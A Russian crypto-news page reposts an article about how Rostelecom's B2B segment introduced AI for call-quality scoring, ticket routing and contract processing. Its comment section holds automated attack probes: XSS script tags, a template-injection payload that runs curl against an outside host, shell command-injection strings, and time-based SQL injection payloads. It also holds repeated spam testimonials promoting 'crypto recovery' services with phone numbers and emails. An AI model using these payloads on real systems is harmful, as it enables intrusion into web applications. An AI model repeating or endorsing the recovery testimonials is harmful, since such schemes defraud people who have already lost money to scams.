Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9505 / Markets: 114717

Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Как мы ИИ в B2B сегменте Ростелекома внедряли

Предисловие:

Данная статья является пробой пера в желании поделиться личным опытом и наблюдениями по работе с искусственным интеллектом и его внедрению в современной компании. Она может быть интересна руководителям продукта, аналитикам, проектным менеджерам, да и просто всем тем, кто как и я интересуется технологиями ИИ и хочет глубже погрузиться в их потенциал.

1. Введение

В условиях цифровой трансформации внедрение ИИ стало критическим фактором для многих компаний, в том числе и для нас. Рост требований к персонализации услуг, управление большими данными, прогнозирование спроса в реальном времени и снижение операционных рисков заставляют переходить от классической инфраструктурной модели к интеллектуальным решениям. Все эти потребности ранее, да и сейчас, могут закрывать люди, но они, увы, не всемогущие, узкие места возникают и без их вины, а ИИ помогает усилить сотрудников без вреда для них самих и наших процессов. Искусственный интеллект позволяет не только соответствовать ожиданиям клиентов, но и создавать новые конкурентные преимущества в высоконагруженной отрасли.

Собственно, поэтому я с командой и вписался в эту авантюру. Кстати, меня зовут Никита Беловашин, я руководитель ИИ продуктов в B2B-сегменте ПАО «Ростелеком», и сегодня я расскажу (напишу) вам о том, как мы внедряли ИИ для автоматизации бизнес-процессов внутри сегмента.

Как вы, наверное, уже догадались, для решения этой задачи нужно было понять, а что вообще нужно автоматизировать, как это сделать с помощью ИИ, и как выстроить процесс правильно, не наломав метафизических дров на этом пути. Об этом я и расскажу далее.
Приятного прочтения

2. Специфика бизнеса в телекоммуникационной компании

Спойлер: Если вы не знаете особенностей телекома, то лучше прочесть этот раздел, а если в курсе, то рекомендую переходить сразу к пункту под номером 3.

Для начала вообще стоит рассказать, а каково это – работать в телеком компании?

Структура и функции: больше, чем просто «телефония»

Телеком-компания — это сложная экосистема, объединяющая физическую инфраструктуру (волоконно-оптические сети, дата-центры, базовые станции), цифровые платформы (облачные сервисы, IoT-решения) и сервисные подразделения (техподдержка, аналитические отделы). Их ключевая функция — обеспечение бесперебойной передачи данных, но сегодня этого недостаточно. Современные операторы становятся провайдерами «цифрового доверия», отвечая за безопасность, скорость и интеграцию услуг в бизнес-цепочки клиентов.

B2B-сегмент: где индивидуальность решает всё

В отличие от B2C, где фокус — массовость, B2B-телеком работает с корпорациями, у которых уникальные требования:

· Сложные SLA — гарантии uptime 99.999%, приоритетное восстановление при сбоях.

· Гибкая интеграция с ERP, CRM и другими корпоративными системами клиента.

· Сквозная безопасность — защита данных от DDoS-атак до уровня IoT-устройств.

Здесь ценится не просто подключение, а способность стать «цифровым партнёром», который масштабируется вместе с бизнесом заказчика.

Цели B2B-обслуживания: от транзакций к трансформации

Главная задача телекома в корпоративном сегменте — выйти за рамки продажи каналов связи. Речь идёт о:

· Цифровизации клиентов — внедрение SD-WAN, гибридных облаков, AI-driven аналитики для оптимизации их бизнес-процессов.

· Создании экосистемы — объединение телеком-услуг с решениями партнёров (например, интеграция VoIP с CRM).

· Упреждающем обслуживании — использование телеметрии сети для предотвращения простоев у заказчика.

Инсайт: Телеком B2B — это не про «продать сим-карту юрлицу», а про построение инфраструктуры, которая становится нервной системой цифрового бизнеса. Отсюда и высокая ставка на ИИ: без него невозможно обрабатывать петабайты телеметрии и предсказывать потребности корпораций завтрашнего дня.

3. Проблемы и узкие места в бизнес-процессах

Почему мы вообще решили что-то автоматизировать?

Любая крупная и не очень компания всегда развивается, ведь в этом заложен один из главных принципов её существования и успешного достижения стратегических целей. Однако за этим развитием, как правило, стоят люди и процессы, выступающие основным драйвером изменений. В эру технологического развития один из главных трендов — цифровизация и автоматизация бизнес-процессов. Меня и мою команду этот хайп тоже не обошел стороной, и мы решили разобраться: а может, это вовсе не хайповая тема, а действительно отличная возможность поднять показатели эффективности отдельных частей нашей большой команды?

Наша идея была простой: люди — безусловно ценный ресурс любой компании, однако они не всемогущие: устают, ходят в отпуск, иногда выгорают от рутинных процессов. Лучше привлекать сотрудников к реализации по-настоящему значимых и интересных проектов, а не заставлять их делать однотипные действия день за днем, если их можно заменить программой или ИИ-моделью. Презентовав эту идею руководству, я получил формальное одобрение инициативы и приступил к формированию плана по автоматизации процессов внутри нашего большого B2B-сегмента.

Как искали и нашли проблемы и неэффективность в текущих процессах?

Так совпало, что на момент инициации этого процесса мы были довольно молодой командой внутри большого департамента развития цифровых сервисов B2B. У нас была куча идей и дикий заряд мотивации изменить этот мир (ну или хотя бы B2B сегмент). Мы начали изучать специфику работы и процессов коллег из смежных подразделений, каталогизировать (коллекционировать?) их боли, параллельно рассказывая о себе, своем опыте и возможностях.

Коллеги в ответ делились своими мыслями и «хотелками» по части оптимизации их рабочего процесса и ухода от рутинных задач, рисовали для нас бизнес-процессы и вместе с нами искали на них точки автоматизации. После проведения такого своего рода RnD у нас был готовый портфель потенциальных идей по улучшениям и группа внутренних заказчиков для них.

Ряд внутренних встреч, пара мозговых штурмов, внутреннее согласование с командами — и вот у нас уже готовы концептуальные предложения по автоматизации, а местами и оптимизации (не за счет людей) процессов наших коллег.

Примеры типичных узких мест и их влияние на бизнес на нашем примере

Наверное, самое время перейти к содержательной части моего рассказа, ведь статья непосредственно про автоматизацию конкретных процессов, а не про красноречие автора. В ходе вышеописанного RnD мы выявили несколько основных узких мест, которые явно можно было улучшить за счет использования ИИ-автоматизации.

Сразу оговорюсь: описанные пункты сами по себе не являются проблемными для компании, так как сотрудники, реализующие эти функции, отлично справляются со своей работой. Однако всегда есть место для роста и улучшений, особенно когда роста за счет человеческого фактора добиться уже не удается, а применение ИИ поможет этот рост получить. У нас получился как раз такой случай.

· Обращения клиентов

Исторически клиенты формируют текстовые обращения по различным вопросам, чтобы получить консультацию от коллег из профильных подразделений. Однако клиенты не всегда корректно заполняют форму обращения, указывают в нем некорректную тему, в связи с чем обращение не сразу попадает к нужному исполнителю, увеличивая время ответа на запрос.

Во-первых, для нас это репутационные риски и потенциальная потеря клиентов, ведь мы стремимся давать обратную связь нашим клиентам как можно быстрее. Во-вторых, маршрутизацией заявок и их разбором кто-то должен заниматься, а это дополнительные роли и ФОТ, напрямую влияющие на экономику компании.

· Договоры с контрагентами

Специфика любого бизнеса такова, что в нем присутствует огромное количество документов и рутины, связанной с их обработкой. Мы не стали исключением: объем документов для ручной обработки менеджерами огромен. Зачастую коллегам приходится проводить несколько итераций за работой с одним и тем же документом: находить и отсматривать правки, вносить свои корректировки, производить расчеты и выделять ключевые атрибуты договора из текста.

Все это довольно сложный и рутинный процесс, требующий огромной концентрации от сотрудников. Как нетрудно догадаться, чем больше поток документов, тем больше сотрудников требуется для их обработки, срок которой зафиксирован SLA. Риски, связанные с ошибками в документах, несоблюдением SLA или нехваткой персонала, влекут за собой как репутационные, так и финансовые потери.

· Оценка качества обслуживания клиентов

Одна из важнейших метрик для любого бизнеса — это качество обслуживания клиентов. От него зависит удовлетворенность ваших потребителей и вероятность их возвращения к вам в будущем. У нас предусмотрена многоступенчатая система оценки качества обслуживания клиентов сотрудниками. Один из этапов предполагает «ручную проверку» разговоров менеджера с клиентами.

Несложно догадаться, что такая оценка требует колоссального количества времени. Для оценки каждого менеджера и каждого разговора требуется огромная армия сотрудников службы контроля качества. И опять мы приходим к закономерному выводу: отказ от выполнения этой оценки приводит нас к репутационным и финансовым потерям.

· Как нам удалось найти и понять причины возникновения проблем?

Как и писал выше, в сложившихся узких местах нет вины сотрудников, выполняющих эту функцию. Тут правильнее будет указать, что мы не считаем их проблемами, но видим в них значительный потенциал для улучшения и расширения каждого из вышеописанных пунктов.

Причины их возникновения довольно простые: индивидуальный подход к каждому клиенту требует значительных затрат времени сотрудников на работу с ним. Работа эта не всегда является простой, но она крайне важна. Клиентов у нашей компании много, каждый из них ценен, отсюда и возникает потребность и в высокой скорости ответа на запрос и решения инцидентов клиентов, и в быстром и грамотном документообороте, и во всеобъемлющем контроле качества. Все эти факторы в конечном итоге и повлияли на наши идеи и решение по автоматизации процессов коллег.

4. Подход к генерации идей и их реализации

Как мы поняли, что нужно автоматизировать в первую очередь?

И вот, дорогой читатель, настает момент перейти от слов к делу и начать предметный рассказ о том, что же мы захотели автоматизировать и как мы до этого докатились. В первую очередь нужно понять, как мы вообще поняли, за что взяться в первую очередь, какие средства и инструменты у нас были (и есть) для улучшения процесса?

Несмотря на, казалось бы, всю запутанность и сложность вопроса, ответы лежали на поверхности, ведь мы предварительно провели внутреннее исследование процессов, пообщались с коллегами, поняли, где и у кого болит сильнее. В конце концов у нас появилось некое сформированное понимание того, какой процесс требует больше усилий, какой меньше, от чего компания получит больше выгоды, а от чего меньше.

Хоть мой пример и не претендует на звание универсального инструмента приоритезации беклога, да и речь тут совсем не об этом, для решения наших задач он подошел вполне себе хорошо, поскольку я и команда погружены во внутренние процессы и прекрасно знаем своих заказчиков. Однако, если перед тобой, дорогой читатель, стоит такая же задача, и ты хочешь разобраться в хаосе идей, запросов и предложений от малознакомого тебе заказчика, то мой пример, конечно же, не подойдет, и нужно использовать другие, более сложные техники. Но эта тема заслуживает отдельной статьи.

Итак, в итоге у меня собралось понимание, какие запросы и задачи мы закрываем в первую очередь, какие во вторую и так далее. Мой личный шорт-лист на тот момент был таким:

1. Оценка качества обслуживания клиентов.

2. Работа с клиентскими обращениями.

3. Обработка договоров контрагентов.

Логика в этом списке довольно простая: чем выше приоритет, тем более значимой с точки зрения CSI и потенциальной экономической выгоды для компании является задача. Попробуйте сами поразмышлять на тему такого подхода к приоритезации, встретимся в комментариях под статьей.

Как мы собирались это делать?

Окей, про то, «что» мы хотим автоматизировать, я рассказал, но вот о том, «как» мы собирались это делать, я расскажу дальше.

В целом, все то, что мы задумали реализовать, уже частично было изобретено на рынке кем-то и когда-то, и можно было бы заняться поиском этих кого-то, но это не наш подход. Мы всегда хотим авторские инновации, просто потому что их проще развивать (код-то свой) и нет зависимости от создателей открытых решений и легаси-кода.

На мое счастье, задолго до моего прихода в Ростелеком в компании сформировалась довольно большая команда специалистов по ИИ, включающая в себя довольно разноплановых профи, прекрасно разбирающихся в NLP, ASR, CV, ML и т.д. Наши внутренние ресурсы, как правило, позволяют нам покрывать бóльшую часть наших потребностей в разработке умных решений, и этот раз не стал исключением.

В общем, что-то я затянул. Суть этого абзаца проста: я сходил к нашей ИИ-команде, обсудил с ними возможность реализации моих хотелок, вместе прикинули технологии и инструменты, которые можем задействовать для разработки требуемых решений, посчитали экономику и сроки.

В конечном итоге у меня было понимание того, что мы делаем, как мы делаем, какими ресурсами мы это делаем, сколько времени, денег и нервов (нет) придется потратить для разработки каждого сервиса. И уже после этого пункта, еще раз посмотрев на бэклог с точки зрения приоритезации, мы с командой приняли окончательное решение о том, что мы идем в разработку этой истории.

5. Описание процесса разработки и внедрения ИИ в существующие процессы

И вот настает кульминация моего рассказа, а именно часть о реализации всего того, что мы с командой задумали ранее. Сильно углубляться в процессы разработки, выбор фреймворков и моделей для решения наших задач я не буду, так как это довольно обширная тема, заслуживающая отдельной статьи. Сосредоточусь лишь на основных моментах.

Прежде всего, стоит рассказать о том, как вообще применять ИИ в ваших бизнес-процессах. Я собрал короткий шорт-лист рекомендаций по мотивам своего опыта:

1. Определите проблему:

- Четко сформулируйте задачу: предсказание, классификация, автоматизация.

- Пример: «Определять тему обращений клиентов, даже если они ошиблись в выборе категории».

2. Соберите и подготовьте данные:

- Данные = топливо для ИИ.

- Нужны:

- Источники (логи, тексты, изображения).

- Очистка от «мусора» (дубли, ошибки).

- Разметка (например, тегирование обращений в поддержку).

3. Выберите инструменты:

- No-code для новичков: Google AutoML, Lobe.

- Для продвинутых: Python + библиотеки (TensorFlow, PyTorch).

4. Обучите модель:

- Подберите «движок» под задачу (нейросеть для текстов, регрессия для чисел).

- Тестируйте на части данных (20–30%), чтобы не переобучить.

5. Интеграция в бизнес-процесс:

- Подключите модель к целевому софту через API или плагины.

- Пример: ИИ-классификатор встраивается в CRM и автоматически перенаправляет обращения.

6. Мониторинг и улучшение:

- Следите за метриками (точность, полнота).

- Докармливайте модель новыми данными каждые 3–6 месяцев и следите, чтобы она не деградировала.

Важно:

- Не гонитесь за сложностью — иногда достаточно линейной регрессии для решения задачи.

- Итеративность — запустите MVP за пару месяцев, а потом улучшайте сервис и результат.

От идеи до внедрения

Если вернуться к моему кейсу, то для каждой из задач мы разработали собственное решение практически «на коленке», так как нам требовалось довольно быстро проверить гипотезы и запустить пилот. Сначала это все выглядело довольно топорно и не слишком удобно — речи про удобство даже не шло.

Данные для обработки загружались в сервисы вручную, заявки клиентов и договора подгружались в виде документов, анализ качества разговоров менеджеров с клиентами велся не в реальном времени, а рассчитывался нашим сервисом по ночам (кто угадает, почему?) на заранее загруженных записях разговоров.

Итого, после непродолжительных по времени итераций разработки, мы получили набор сервисов, которые могли частично или полностью решать заранее поставленные задачи:

1. Для оценки качества обслуживания клиентов был готов сервис транскрибации и анализа диалогов по чек-листу.

2. Для работы с клиентскими обращениями была подготовлена модель семантического анализа обращений, их классификации и маршрутизации.

3. Для обработки договоров клиентов был подготовлен сервис выделения и экстракции атрибутов.

Далее нам предстояло провести пилотирование, замерить эффективность пилота и перевести все наработки в промышленную эксплуатацию.

Как правило, для таких кейсов пилоты у нас длятся порядка 3 месяцев, эти случаи исключением не стали. На протяжении квартала мы тестировали наши наработки совместно с заказчиками, обсуждали результаты и вносили корректировки в модели. В конце концов было получено концептуальное одобрение на дальнейшее развитие всех 3 сервисов.

Самое сложное, как оказалось, было впереди. Перед нами встал вопрос внедрения сервисов в существующие системы, дабы уйти от ручного взаимодействия и перекладки данных из одного места в другое.

Тут я могу только сказать, что процесс это не так сложен технически, как с точки зрения согласования всех изменений с ИБ, ведь мы, по сути, вклиниваемся с новым решением в существующие информационные системы. Однако, благодаря помощи со стороны наших заказчиков, нам удалось довольно быстро пройти все процедуры согласования и перейти к технической реализации интеграций.

Интеграция же для наших сервисов представляет из себя взаимодействие с ИС по API, который нужно либо переиспользовать, либо доработать под взаимодействие с нашими сервисами. Да, вот так довольно просто и без особого ущерба для ИС. Этим мне и нравится работа с автоматизацией через внешние (наши) ИИ-сервисы.

Отдельно стоит рассказать о кроссфункциональном взаимодействии

Как правило, при реализации таких крупных проектов по изменению чего-либо уже существующего и стабильного встречается довольно сильное сопротивление с различных сторон. На мой взгляд, очень важно в таких ситуациях выделять конкретных владельцев процессов или их частей с каждой участвующей стороны, так как маленькой группе людей гораздо проще договориться между собой, нежели огромной группе из участников всех команд.

Так мы и поступили. Благодаря заинтересованности всех участвующих сторон мы быстро выделили руководителей процессов со стороны технической команды, заказчика, ну и меня, как главного координатора. Такой подход помог нам избежать кучи ненужных митингов по 150 человек и сэкономить нервные клетки всем участникам процесса.

6. Полученные результаты

Самое время поговорить о полученных результатах. Не буду разводить демагогию об эффективной эффективности, медальках на груди, а постараюсь коротко и емко описать, к чему мы в итоге пришли (или еще идем).

Прежде всего, мы получили 3 рабочих сервиса, помогающих нашим коллегам выполнять рабочие задачи быстрее и проще, но без потери эффективности.

· Коллеги из отдела качества смогли быстрее и точнее проводить оценку бóльшего количества менеджеров, а впоследствии и вовсе стали подключаться только в случаях, когда у сервиса оценки возникали трудности. В остальное время сервис самостоятельно проводил оценку и формировал результаты за отчетный период.

· Сервис наконец-то получил инструмент для автоматической классификации и маршрутизации обращений. Коллеги смогли перевести часть сотрудников на другие участки работ, требующие большего перформанса, нежели ручная сортировка заявок. Более того, сервис получилось сделать довольно гибким и своего рода универсальным — сейчас мы занимаемся его адаптацией под другие подразделения и бизнес-процессы.

· Коллеги, работающие с договорами клиентов, смогли воспользоваться сервисом автоматического поиска и выделения правок, а также необходимых атрибутов. Пока автоматизирован не весь процесс, но мы работаем над улучшениями — уже сейчас коллеги могут получать самые важные атрибуты автоматически после поступления документа в работу.

А чего мы добились в цифрах? Тут мы вступаем на тонкую грань между желанием доказать нашу эффективность и NDA, который запрещает мне разглашать такие подробности. Все-таки частью количественных результатов считаю возможным поделиться:

· Сервис оценки качества обслуживания клиентов научился определять до 15 этапов в разговоре с клиентом и оценивать каждый из них. Охват оцениваемых звонков вырос в 10 раз: раньше оценкой покрывали 10% звонков за счет ручного труда, а стали покрывать все 100% в бОльшей степени за счет ИИ и минимальным вмешательством сотрудников для проверки.

· Сервис обработки клиентских обращений на 80% снизил ручной труд по корректировке класса обращения и его маршрутизации. Среднее время ожидания ответа для снизилось с масштаба дней до масштаба минут, в сложных случаях до масштаба часов.

· Система обработки договоров контрагентов на первом этапе позволила выделять до 15% важнейших атрибутов из документов, что позволило снизить потребность в ручной обработке документов. На объеме в несколько тысяч документов в месяц, это существенно ускорило процесс обработки.

А что случилось с бизнес-опытом после наших экспериментов? В целом — с ним все хорошо. ☺ Если подробнее, то мы хорошо заявили о себе, попутно показав и рассказав всем коллегам, что ИИ гораздо ближе и дружелюбнее, чем кажется.

ИИ для них перестал быть магическим черным ящиком, о котором все где-то слышали, но никто не видел. Наоборот, ИИ стал популярен для решения рабочих задач, а мы стали получать больше интересных запросов от наших коллег.

7. Выводы

Вот и подошел к завершению мой скромный рассказ. В конце любого сочинения, как меня всегда учили в школе на уроках русского языка и литературы, должны быть выводы. Не стану нарушать это правило

И так, дорогой ИИ, пожалуйста, сделай суммаризацию и подготовь выводы из этой статьи:

Краткий анализ успехов и зон роста:

· Успехи:

o Автоматизация рутинных процессов.

o Рост скорости обработки данных.

o Улучшение клиентского опыта.

o Высвобождение сотрудников для более наукоемких задач.

· Зоны роста:

o Расширение функционала сервисов.

o Дообучение моделей.

o Создание новых сервисов.

Стратегические рекомендации для компаний, которые хотят начать применять ИИ:

1. Начните с малого: Пилотные проекты помогут проверить гипотезы без больших затрат. Не бойтесь рисковать!

2. Интегрируйте ИИ в стратегию: Технология должна работать на бизнес-цели, а не быть «галочкой» или хайповой «мишурой» (кстати, довольно дорогой мишурой).

3. Инвестируйте в данные: Качество данных = качество моделей. Данные — это нефть XXI века.

Взгляд в будущее:

· Перспективы:

o ИИ станет основой для прогнозной аналитики, предиктивного обслуживания и гиперперсонализации.

o Все больше компаний будут внедрять ИИ для оптимизации рутинных процессов.

o Кожаные сотрудники будут заниматься чаще перформансом, нежели линейной деятельностью.

· Вызовы:

o Этические вопросы.

o Защита данных.

o Адаптация сотрудников.

И, наконец:

ИИ в бизнесе — это не хайп, а необходимость, и уже вполне реальность. Как говорится, «ИИ не заменит людей, но люди, которые используют ИИ, заменят тех, кто его не использует». Дерзайте, и пусть ваши процессы работают на вас, а не вы на них!

---

P.S. Если у вас есть вопросы к моему рассказу — welcome в комментарии. А если нет — всё равно заходите, расскажу, как пытался научить ИИ шутить про коллег из соседней команды.

Источник

Теги

Категория

Новости

Дата

29 мая 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

